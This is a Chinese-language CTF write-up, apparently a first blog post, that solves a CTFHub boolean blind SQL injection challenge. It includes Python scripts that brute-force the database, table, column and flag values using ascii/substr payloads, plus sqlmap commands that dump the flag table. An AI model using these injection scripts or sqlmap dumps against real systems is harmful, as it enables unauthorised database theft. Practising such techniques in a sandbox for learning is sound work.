title: 布尔盲注布尔盲注题目考点布尔盲注MySQL解题思路确认该题是布尔盲注尝试根据题目输入看返回的参数发现返回是query_successhttp://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id1方法一python脚本暴力破解爆破数据库名称1、判断数据库名称长度使用length函数确认数据库长度直到查询返回query_successhttp://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id1andlength%28database%28%29%29%3D42、使用mysql语法中的ascii()函数与substr()函数进行编写python脚本爆破得知数据库名http://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id0 or ascii(substr((select database()),1,1))65--例如上述的请求就是在爆破数据库名判断数据库名的第一位是否为A 以此规则来爆破用两个for循环第一个i变量代表被爆破的数据库名字的第几位根据第一步方法对i进行取值增加效率第二个j变量代表ascill码中的可见字符import requests url http://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id0 or ascii(substr((select database()),%s,1))%d-- result ​ for i in range(1,5): for j in range(33,127): payload url%(i,j) try: s requests.get(urlpayload, timeout5) if query_success in s.text: result chr(j) print(result) break except Exception as e: print(请求出错:, e) continue print(result)爆破脚本得出数据库名爆破数据表名称1、使用python脚本爆破表名import requests result ​ url http://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id0 or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemasqli),%s,1))%d-- for i in range(1,100): if len(result)1 i: break for j in range(33,127): payload url%(i,j) try: s requests.get(urlpayload, timeout5) if query_success in s.text: result chr(j) print(result) break except Exception as e: print(请求出错:, e) continue print(result)爆破得出数据表名看到出现了两张表我们根据表名可以先猜测f题目要求的flag在flag表中爆破数据表中字段1、使用python脚本爆破字段名原理是一样的import requests result ​ url http://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id0 or ascii(substr((select group_concat(column_name) from information_schema.columns where table_nameflag),%s,1))%d-- for i in range(1,100): if len(result)1 i: break for j in range(33,127): payload url%(i,j) try: s requests.get(urlpayload, timeout5) if query_success in s.text: result chr(j) print(result) break except Exception as e: print(请求出错:, e) continue print(result)爆破得出字段名最后爆破数据表中数据import requests result ​ url http://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id0 or ascii(substr((select group_concat(flag) from flag),%s,1))%d-- for i in range(1,100): if len(result)1 i: break for j in range(33,127): payload url%(i,j) try: s requests.get(urlpayload, timeout5) if query_success in s.text: result chr(j) print(result) break except Exception as e: print(请求出错:, e) continue print(result)爆破得出最终的flag方法二使用sqlmp注入爆破当前网站使用数据库名称--current-db爆破当前网站使用数据库名称python sqlmap.py -u http://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id1 --current-db --batch爆破数据表名称--tables爆破指定数据库下有哪些数据表python sqlmap.py -u http://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id1 -D sqli --tables --batch爆破得出数据表名看到出现了两张表我们根据表名可以先猜测f题目要求的flag在flag表中爆破数据表字段--columns爆破指定数据表下有哪些字段python sqlmap.py -u http://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id1 -D sqli -T flag --columns --batch最后根据获得字段直接获取该表数据--dumppython sqlmap.py -u http://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id1 -D sqli -T flag -C flag --dump --batch第一次写博客有哪里写的不好的望大家见谅